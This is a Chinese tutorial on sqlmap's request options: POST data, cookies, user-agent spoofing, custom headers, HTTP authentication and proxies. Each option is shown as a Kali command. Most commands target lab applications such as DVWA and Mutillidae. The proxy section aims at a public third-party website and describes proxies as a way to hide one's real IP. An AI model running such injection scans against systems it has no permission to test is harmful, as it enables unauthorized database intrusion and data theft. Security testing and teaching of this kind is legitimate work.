ONE
--data 把数据以POST方式提交
root@kali:~# sqlmap -u "http://192.168.80.161/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" --dbs
--data 也支持GET方式
root@kali:~# sqlmap -u "http://192.168.80.161/mutillidae/index.php" --data="page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p username --users
TWO
--param-del 指定字符分割参数,默认分割参数是" & "
root@kali:~# sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
THREE
--cookie
1.web应用需要基于cookie的身份认证
root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3b11599361763b943a82e7c6e5343d22" -f
2.检测cookie中的注入点(level >=2)
root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3b11599361763b943a82e7c6e5343d22" --level 2 -f
使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问用哪个cookie来继续接下来的请求,如果不想接受Set-Cookie可以使用--drop-set-cookie参数。
FOUR
--user-agent,--random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值如下,可以使用wireshark抓包查看:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-agent=AGENT参数来修改,也可以使用--random-agent参数从如下文件中随机选取user-agent。 /usr/share/sqlmap/txt/user-agents.txt
当--level>=3时,会尝试对User-Angent进行注入。
root@kali:~# sqlmap -u "http://192.168.80.33:81/0/Production/PRODUCT_DETAIL.asp?id=1513" --random-agent --level 3 --tables
看到如下报错信息时,可能是防火墙过滤了sqlmap的useragent:
[hh:mm:20][ERROR]thetargetURLrespondedwithanunknownHTTP statuscode,trytoforcetheHTTPUser-Agentheaderwithoption--user- agentor--random-agent
FIVE
--host=HOST HTTP Host header value 需要level=5
--referer=REFERER HTTP Referer header value 需要level>=3
--headers,指定额外的HTTP头,通过\n来换行、大小写敏感
sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com\nUser-Agent:coler"
--method=GET/POST 指定请求方法
SIX
基于HTTP协议的身份验证,支持以下三种认证方式:①Basic ②Digest ③NTLM
sqlmap -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
--auth-cert参数,基于HTTP协议的证书认证
当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file
key_file是含有私钥的PEM格式证书文件,cert_file是PEM格式的证书链文件。
SEVEN
参数:--proxy,--proxy-cred,通过设置代理隐藏自己的真实ip
sqlmap.py -u "http://www.bible-history.com/subcat.php?id=1" --proxy="http://127.0.0.1:25378" --dbs
sqlmap.py -u "http://www.bible-history.com/subcat.php?id=1" --proxy="socks5://127.0.0.1:1080" -current-user
--ignore-proxy 忽略系统级代理设置,通常用于扫描内网时
网友评论